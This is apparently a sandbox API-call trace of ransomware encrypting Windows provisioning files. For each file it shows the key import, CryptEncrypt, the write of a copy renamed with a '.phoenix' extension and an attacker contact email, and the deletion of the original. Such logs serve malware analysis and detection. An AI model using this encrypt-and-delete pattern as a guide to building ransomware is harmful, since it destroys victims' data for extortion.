	[0256.882] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151740) returned 1
	[0256.882] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.882] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c7, lpOverlapped=0x0) returned 1
	[0256.883] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0256.883] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0256.884] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151200) returned 1
	[0256.884] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.884] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0256.884] CryptDestroyKey (hKey=0x151200) returned 1
	[0256.884] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0256.885] CryptDestroyKey (hKey=0x151740) returned 1
	[0256.885] CloseHandle (hObject=0x2f4) returned 1
	[0256.885] CloseHandle (hObject=0x2e0) returned 1
	[0256.885] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\642__connections_cellular_aql - 3 (united kingdom)_i2$(__mvid)@wap.provxml")) returned 1
	[0256.886] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.886] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\643__connections_cellular_aql - 3 (united kingdom)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.886] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=711) returned 1
	[0256.886] CloseHandle (hObject=0x2e0) returned 1
	[0256.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\643__connections_cellular_aql - 3 (united kingdom)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0256.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\643__connections_cellular_aql - 3 (united kingdom)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.886] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\643__connections_cellular_aql - 3 (united kingdom)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.886] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.886] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.886] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\643__connections_cellular_aql - 3 (united kingdom)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.887] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1515c0) returned 1
	[0256.887] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.887] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c7, lpOverlapped=0x0) returned 1
	[0256.888] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0256.888] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0256.889] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1517c0) returned 1
	[0256.889] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.889] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0256.889] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0256.889] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0256.889] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0256.889] CloseHandle (hObject=0x2e0) returned 1
	[0256.889] CloseHandle (hObject=0x2f4) returned 1
	[0256.889] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\643__connections_cellular_aql - 3 (united kingdom)_i3$(__mvid)@wap.provxml")) returned 1
	[0256.890] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.890] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\644__connections_cellular_x-mobility - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.891] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=731) returned 1
	[0256.891] CloseHandle (hObject=0x2f4) returned 1
	[0256.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\644__connections_cellular_x-mobility - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\644__connections_cellular_x-mobility - 3 (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.891] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\644__connections_cellular_x-mobility - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.891] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.891] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.891] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\644__connections_cellular_x-mobility - 3 (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.892] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151300) returned 1
	[0256.892] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.892] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2db, lpOverlapped=0x0) returned 1
	[0256.895] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0256.895] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0256.896] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1511c0) returned 1
	[0256.896] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.896] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0, dwBufLen=0xd0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0) returned 1
	[0256.896] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0256.896] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x182, lpOverlapped=0x0) returned 1
	[0256.896] CryptDestroyKey (hKey=0x151300) returned 1
	[0256.896] CloseHandle (hObject=0x2f4) returned 1
	[0256.896] CloseHandle (hObject=0x2e0) returned 1
	[0256.896] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\644__connections_cellular_x-mobility - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.897] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.897] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\645__connections_cellular_x-mobility - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.897] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=731) returned 1
	[0256.897] CloseHandle (hObject=0x2e0) returned 1
	[0256.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\645__connections_cellular_x-mobility - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0256.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\645__connections_cellular_x-mobility - 3 (united kingdom)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.898] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\645__connections_cellular_x-mobility - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.898] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.898] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.898] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\645__connections_cellular_x-mobility - 3 (united kingdom)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.898] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151300) returned 1
	[0256.898] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.898] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2db, lpOverlapped=0x0) returned 1
	[0256.900] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0256.900] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0256.901] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151540) returned 1
	[0256.901] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.901] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0, dwBufLen=0xd0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0) returned 1
	[0256.901] CryptDestroyKey (hKey=0x151540) returned 1
	[0256.901] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x182, lpOverlapped=0x0) returned 1
	[0256.901] CryptDestroyKey (hKey=0x151300) returned 1
	[0256.901] CloseHandle (hObject=0x2e0) returned 1
	[0256.901] CloseHandle (hObject=0x2f4) returned 1
	[0256.901] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\645__connections_cellular_x-mobility - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 1
	[0256.902] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.902] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\646__connections_cellular_macheen -3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.902] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=725) returned 1
	[0256.902] CloseHandle (hObject=0x2f4) returned 1
	[0256.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\646__connections_cellular_macheen -3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\646__connections_cellular_macheen -3 (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.902] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\646__connections_cellular_macheen -3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.903] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.903] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.903] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\646__connections_cellular_macheen -3 (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.903] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151300) returned 1
	[0256.903] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.903] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d5, lpOverlapped=0x0) returned 1
	[0256.955] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0256.955] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0256.956] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151540) returned 1
	[0256.956] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.956] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0256.956] CryptDestroyKey (hKey=0x151540) returned 1
